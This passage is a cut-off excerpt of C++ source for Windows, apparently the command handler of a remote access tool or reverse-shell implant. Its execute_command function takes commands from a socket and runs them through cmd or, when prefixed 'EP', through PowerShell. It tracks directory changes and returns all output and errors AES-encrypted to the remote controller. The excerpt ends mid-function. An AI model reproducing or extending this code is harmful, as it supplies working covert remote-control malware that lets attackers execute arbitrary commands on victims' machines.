| 869 | std::string current_directory; |
| 870 | |
| 871 | std::vector<uint8_t> execute_command(const std::string& command, SOCKET sock, AESCipherTCP& cipher) { |
| 872 | bool use_powershell = (command.length() >= 2 && command.substr(0, 2) == "EP"); |
| 873 | std::string cmd_to_execute = use_powershell ? command.substr(2) : command; |
| 874 | |
| 875 | if (use_powershell) { |
| 876 | cmd_to_execute.erase(0, cmd_to_execute.find_first_not_of(" \t\r\n")); |
| 877 | cmd_to_execute.erase(cmd_to_execute.find_last_not_of(" \t\r\n") + 1); |
| 878 | } |
| 879 | if (use_powershell && cmd_to_execute.empty()) { |
| 880 | auto error_msg = string_to_vector("Empty or invalid PowerShell command"); |
| 881 | auto encrypted_error = cipher.encrypt(std::string(error_msg.begin(), error_msg.end())); |
| 882 | send_data(sock, encrypted_error); |
| 883 | return error_msg; |
| 884 | } |
| 885 | if (use_powershell) { |
| 886 | std::string escaped_cmd; |
| 887 | for (char c : cmd_to_execute) { |
| 888 | if (c == '"') { |
| 889 | escaped_cmd += "\\\""; |
| 890 | } else { |
| 891 | escaped_cmd += c; |
| 892 | } |
| 893 | } |
| 894 | cmd_to_execute = escaped_cmd; |
| 895 | } |
| 896 | |
| 897 | if (!use_powershell && (cmd_to_execute.substr(0, 2) == "cd" || cmd_to_execute.substr(0, 2) == "CD")) { |
| 898 | std::string new_dir = cmd_to_execute.substr(2); |
| 899 | new_dir.erase(0, new_dir.find_first_not_of(" \t\r\n")); |
| 900 | |
| 901 | if (new_dir.empty()) { |
| 902 | |
| 903 | std::string dir; |
| 904 | if (current_directory.empty()) { |
| 905 | char buffer[MAX_PATH]; |
| 906 | DWORD length = GetCurrentDirectoryA(MAX_PATH, buffer); |
| 907 | if (length == 0 || length > MAX_PATH) { |
| 908 | auto error_msg = string_to_vector("Failed to get current directory"); |
| 909 | auto encrypted_error = cipher.encrypt(std::string(error_msg.begin(), error_msg.end())); |
| 910 | send_data(sock, encrypted_error); |
| 911 | return error_msg; |
| 912 | } |
| 913 | dir = std::string(buffer, length); |
| 914 | } else { |
| 915 | dir = current_directory; |
| 916 | } |
| 917 | auto output = string_to_vector(dir); |
| 918 | auto encrypted_output = cipher.encrypt(std::string(output.begin(), output.end())); |
| 919 | send_data(sock, encrypted_output); |
| 920 | return output; |
| 921 | } |
| 922 | |
| 923 | if (SetCurrentDirectoryA(new_dir.c_str())) { |
| 924 | char buffer[MAX_PATH]; |
| 925 | GetCurrentDirectoryA(MAX_PATH, buffer); |
| 926 | current_directory = buffer; |
| 927 | auto output = string_to_vector("Changed directory to: " + current_directory); |
| 928 | auto encrypted_output = cipher.encrypt(std::string(output.begin(), output.end())); |
no test coverage detected